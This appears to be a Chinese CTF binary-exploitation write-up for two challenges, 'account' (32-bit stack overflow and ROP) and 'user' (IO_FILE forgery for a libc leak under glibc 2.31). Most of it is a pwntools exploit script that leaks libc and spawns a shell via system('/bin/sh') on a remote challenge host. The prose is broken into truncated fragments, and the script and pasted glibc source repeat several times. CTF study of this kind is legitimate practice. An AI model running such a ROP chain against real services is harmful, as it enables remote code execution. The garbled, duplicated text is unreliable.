|
题目名:account 解题数:121 题目描述:无 知识点:数组越界访问、栈溢出、32位ROP 题目逻辑非常简单,只有一个
我们输入的数据被存储到
如果增长的次数足够多,我们可以覆盖 需要注意一点:修改 先将 然后,写入第一次rop泄露libc地址: 然后,写入第二次rop直接ret2libc即可: 这里需要注意,32位程序中的地址均为4字节无符号整数,而程序使用 如果ROP中想写入的地址非常大, 题目名:user 解题数:92 题目描述:无 知识点:IO_FILE结构体伪造、通过stdout泄露libc地址、glibc 2.31环境下的任意地址写利用 本题是一道典型的堆利用题目,但缺少直接的输出功能。 解题关键在于利用程序漏洞修改IO_FILE结构体,从而构造libc地址泄露的条件。 本文章详细解析输出函数的内部调用机制,解释IO_FILE结构体中的 题目给出2.31版本的glibc,将程序拖入IDA分析:
发现是经典的菜单题,各个函数逐个分析,先来看一下
bss段全局变量 然后分析
允许我们输入 然后分析
允许我们修改 然后分析
发现程序没有提供输出功能,只调用 题目逻辑非常简单,经典的glibc2.31版本下的菜单题目,没有提供 我们看一下bss段中的heap数组所在位置:
可以发现,这个bss段非常干净,除了 而题目没有提供输出功能,我们无法泄露信息,所以可以考虑通过输入 我们使用
我们可以修改最多0x40字节大小的数据,如图所示:
如何通过 在 glibc 中,
当使用 如果我们可以修改 例如,上图中的
此时,程序再次输出时,会输出 但是,IO输出的逻辑非常复杂,仅仅修改 跟进调用函数链: 在进行一系列处理后调用 满足一定的条件会调用 它会继续调用 此时,会出现多种情况: 而 因此需要满足以下条件: 当 在 在 在 其中, 因此,我们在覆盖 编写脚本泄露libc地址: 获取了libc基地址后,如何利用呢?继续向上寻址,发现bss段存在一个
我们可以继续利用 此时, 常规套路,我们修改 脚本如下所示: for i in range(10): p.sendline(b'57005') # 0x1234 sleep(0.2) # overwrite idx->13 p.sendline(b'13') sleep(0.2) for i in range(10): p.sendline(b'57005') # 0x1234 sleep(0.2) # overwrite idx->13 p.sendline(b'13') sleep(0.2) # rop1 main = 0x8049264 pop_ebx_ret = 0x08049022 # gdb.attach(p, 'b *0x80492C8\nc') # pause() p.sendline(str(elf.plt['puts']).encode()) sleep(0.2) p.sendline(str(pop_ebx_ret).encode()) sleep(0.2) p.sendline(str(elf.got['puts']).encode()) sleep(0.2) p.sendline(str(main).encode()) sleep(0.2) p.sendline(b'0') p.recvuntil(b'Recording completed\n') libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) - 0x6d1e0 libc.address = libc_base success("libc_base = " + hex(libc_base)) # rop1 main = 0x8049264 pop_ebx_ret = 0x08049022 # gdb.attach(p, 'b *0x80492C8\nc') # pause() p.sendline(str(elf.plt['puts']).encode()) sleep(0.2) p.sendline(str(pop_ebx_ret).encode()) sleep(0.2) p.sendline(str(elf.got['puts']).encode()) sleep(0.2) p.sendline(str(main).encode()) sleep(0.2) p.sendline(b'0') p.recvuntil(b'Recording completed\n') libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) - 0x6d1e0 libc.address = libc_base success("libc_base = " + hex(libc_base)) # rop2 for i in range(10): p.sendline(b'57005') # 0x1234 sleep(0.2) # overwrite idx->13 p.sendline(b'13') sleep(0.2) # gdb.attach(p, 'b *0x80492C8\nc') # pause() def to_signed(val): return val if val < 0x80000000 else val - 0x100000000 p.sendline(str(to_signed(libc.sym['system'])).encode()) sleep(0.2) p.sendline(str(pop_ebx_ret).encode()) sleep(0.2) p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode()) sleep(0.2) p.sendline(b'0') # rop2 for i in range(10): p.sendline(b'57005') # 0x1234 sleep(0.2) # overwrite idx->13 p.sendline(b'13') sleep(0.2) # gdb.attach(p, 'b *0x80492C8\nc') # pause() def to_signed(val): return val if val < 0x80000000 else val - 0x100000000 p.sendline(str(to_signed(libc.sym['system'])).encode()) sleep(0.2) p.sendline(str(pop_ebx_ret).encode()) sleep(0.2) p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode()) sleep(0.2) p.sendline(b'0') from pwn import * elf = ELF("./account") libc = ELF("./libc-2.31.so") # p = process([elf.path]) p = remote("pss.idss-cn.com", 22117) context(arch=elf.arch, os=elf.os) context.log_level = 'debug' for i in range(10): p.sendline(b'57005') # 0x1234 sleep(0.2) # overwrite idx->13 p.sendline(b'13') sleep(0.2) # rop1 main = 0x8049264 pop_ebx_ret = 0x08049022 # gdb.attach(p, 'b *0x80492C8\nc') # pause() p.sendline(str(elf.plt['puts']).encode()) sleep(0.2) p.sendline(str(pop_ebx_ret).encode()) sleep(0.2) p.sendline(str(elf.got['puts']).encode()) sleep(0.2) p.sendline(str(main).encode()) sleep(0.2) p.sendline(b'0') p.recvuntil(b'Recording completed\n') libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) - 0x6d1e0 libc.address = libc_base success("libc_base = " + hex(libc_base)) # rop2 for i in range(10): p.sendline(b'57005') # 0x1234 sleep(0.2) # overwrite idx->13 p.sendline(b'13') sleep(0.2) # gdb.attach(p, 'b *0x80492C8\nc') # pause() def to_signed(val): return val if val < 0x80000000 else val - 0x100000000 p.sendline(str(to_signed(libc.sym['system'])).encode()) sleep(0.2) p.sendline(str(pop_ebx_ret).encode()) sleep(0.2) p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode()) sleep(0.2) p.sendline(b'0') p.interactive() from pwn import * elf = ELF("./account") libc = ELF("./libc-2.31.so") # p = process([elf.path]) p = remote("pss.idss-cn.com", 22117) context(arch=elf.arch, os=elf.os) context.log_level = 'debug' for i in range(10): p.sendline(b'57005') # 0x1234 sleep(0.2) # overwrite idx->13 p.sendline(b'13') sleep(0.2) # rop1 main = 0x8049264 pop_ebx_ret = 0x08049022 # gdb.attach(p, 'b *0x80492C8\nc') # pause() p.sendline(str(elf.plt['puts']).encode()) sleep(0.2) p.sendline(str(pop_ebx_ret).encode()) sleep(0.2) p.sendline(str(elf.got['puts']).encode()) sleep(0.2) p.sendline(str(main).encode()) sleep(0.2) p.sendline(b'0') p.recvuntil(b'Recording completed\n') libc_base = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) - 0x6d1e0 libc.address = libc_base success("libc_base = " + hex(libc_base)) # rop2 for i in range(10): p.sendline(b'57005') # 0x1234 sleep(0.2) # overwrite idx->13 p.sendline(b'13') sleep(0.2) # gdb.attach(p, 'b *0x80492C8\nc') # pause() def to_signed(val): return val if val < 0x80000000 else val - 0x100000000 p.sendline(str(to_signed(libc.sym['system'])).encode()) sleep(0.2) p.sendline(str(pop_ebx_ret).encode()) sleep(0.2) p.sendline(str(to_signed(next(libc.search(b'/bin/sh\x00')))).encode()) sleep(0.2) p.sendline(b'0') p.interactive() size_t _IO_new_file_xsputn( FILE *f, const void *data, size_t n ) { const char *s = (const char *) data; size_t to_do = n; int must_flush = 0; size_t count = 0; if ( n <= 0 ) return(0); /* This is an optimized implementation. * If the amount to be written straddles a block boundary * (or the filebuf is unbuffered), use sys_write directly. */ /* First figure out how much space is available in the buffer. */ if ( (f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING) ) { count = f->_IO_buf_end - f->_IO_write_ptr; if ( count >= n ) { const char *p; for ( p = s + n; p > s; ) { if ( *--p == '\n' ) { count = p - s + 1; must_flush = 1; break; } } } } else if ( f->_IO_write_end > f->_IO_write_ptr ) count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if ( count > 0 ) { if ( count > to_do ) count = to_do; f->_IO_write_ptr = __mempcpy( f->_IO_write_ptr, s, count ); s += count; to_do -= count; } if ( to_do + must_flush > 0 ) { size_t block_size, do_write; /* Next flush the (full) buffer. */ if ( _IO_OVERFLOW( f, EOF ) == EOF ) /* If nothing else has to be written we must not signal the * caller that everything has been written. */ return(to_do == 0 ? EOF : n - to_do); /* Try to maintain alignment: write a whole number of blocks. */ block_size = f->_IO_buf_end - f->_IO_buf_base; do_write = to_do - (block_size >= 128 ? to_do % block_size : 0); if ( do_write ) { count = new_do_write( f, s, do_write ); to_do -= count; if ( count < do_write ) return(n - to_do); } /* Now write out the remainder. Normally, this will fit in the * buffer, but it's somewhat messier for line-buffered files, * so we let _IO_default_xsputn handle the general case. */ if ( to_do ) to_do -= _IO_default_xsputn( f, s + do_write, to_do ); } return(n - to_do); } size_t _IO_new_file_xsputn( FILE *f, const void *data, size_t n ) { const char *s = (const char *) data; size_t to_do = n; int must_flush = 0; size_t count = 0; if ( n <= 0 ) return(0); /* This is an optimized implementation. * If the amount to be written straddles a block boundary * (or the filebuf is unbuffered), use sys_write directly. */ /* First figure out how much space is available in the buffer. */ if ( (f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING) ) { count = f->_IO_buf_end - f->_IO_write_ptr; if ( count >= n ) { const char *p; for ( p = s + n; p > s; ) { if ( *--p == '\n' ) { count = p - s + 1; must_flush = 1; break; } } } } else if ( f->_IO_write_end > f->_IO_write_ptr ) count = f->_IO_write_end - f->_IO_write_ptr; |












